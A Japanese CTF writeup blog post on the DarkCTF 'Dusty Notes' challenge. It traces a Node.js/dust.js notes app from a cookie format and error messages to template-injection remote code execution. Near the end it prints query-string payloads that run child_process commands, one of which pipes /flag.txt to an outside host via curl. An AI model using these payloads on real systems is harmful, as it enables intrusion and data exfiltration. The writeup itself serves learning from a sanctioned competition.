はまやんはまやんはまやん

hamayanhamayan's blog

Dusty Notes [DarkCTF]

Dusty Notes
Karma
Sometimes some inputs can lead to flag
PS :- All error messages are intended
Flag is in /flag.txt
http://dusty.darkarmy.xyz/

調査

サイトにアクセスすると、既に付箋が貼ってある。
とりあえずCookieを見てみる。
j%3A%5B%7B%22id%22%3A1%2C%22body%22%3A%22Hack%20this%22%7D%5D
ふむ。Chefに通す。
j:[{"id":1,"body":"Hack this"}]
ふむ。見たことある気がする。

1つ増やすとこんな感じ。
j:[{"id":1,"body":"Hack this"},{"id":2,"body":"あbc"}]

HTTPレスポンスを見るとX-Powered-By: Expressとあるので、バックエンドはjs。
Cookieに情報が入っているのでDB攻撃とかはできない。
これはあれか、unsefe deserializationか。

…違います

Writeups

適当に入力を与えてエラーを出す

この思考回路はなるほど。覚えた。
というかPSでヒント出てるじゃん…

DarkCTF Writeup - こんとろーるしーこんとろーるぶい
%0dでエラーがでる。
入力するところはブラウザでは改行を入れることができない。
なるほど。こういう所でセンスが出るんだろうなぁ…

{"stack":"SyntaxError: Invalid or unexpected token\n    at Object.if (/home/ctf/node_modules/dustjs-helpers/lib/dust-helpers.js:215:15)\n    at Chunk.helper (/home/ctf/node_modules/dustjs-linkedin/lib/dust.js:769:34)\n    at body_1 (evalmachine.<anonymous>:1:972)\n    at Chunk.section (/home/ctf/node_modules/dustjs-linkedin/lib/dust.js:654:21)\n    at body_0 (evalmachine.<anonymous>:1:847)\n    at /home/ctf/node_modules/dustjs-linkedin/lib/dust.js:122:11\n    at processTicksAndRejections (internal/process/task_queues.js:79:11)","message":"Invalid or unexpected token"}

ctfs/Write-ups.md at master · saw-your-packet/ctfs
こっちでは、Cookieを直接編集して、エラーを出している。
j:[{"id":1,"body":["Hack this'"]}]
なるほど…

{"stack":"SyntaxError: Unexpected string\n    at Object.if (/home/ctf/node_modules/dustjs-helpers/lib/dust-helpers.js:215:15)\n    at Chunk.helper (/home/ctf/node_modules/dustjs-linkedin/lib/dust.js:769:34)\n    at body_1 (evalmachine.<anonymous>:1:972)\n    at Chunk.section (/home/ctf/node_modules/dustjs-linkedin/lib/dust.js:654:21)\n    at body_0 (evalmachine.<anonymous>:1:847)\n    at /home/ctf/node_modules/dustjs-linkedin/lib/dust.js:122:11\n    at processTicksAndRejections (internal/process/task_queues.js:79:11)","message":"Unexpected string"}

さて、ここから抜き取るべき情報は、このアプリはdust.jsを使っているということだ。

dust.js

dust.jsはテンプレートエンジンである。
/flag.txtを抜き取れということなので、狙うはLFIかRCEだろう。
SSTI経由かという線もあるか。
まあ、どれも検索してみると、RCEができるみたい。

/addNotes?message[]='-require('child_process').exec('curl [url]')-'をする。
おー、ほんとに来た…すごい…

後はcatしてcurlで送るだけ。

/addNotes?message[]='-require('child_process').exec('cat /flag.txt | curl [url] -X POST -d @-')-'
-> darkCTF{n0d3js_l1br4r13s_go3s_brrrr!}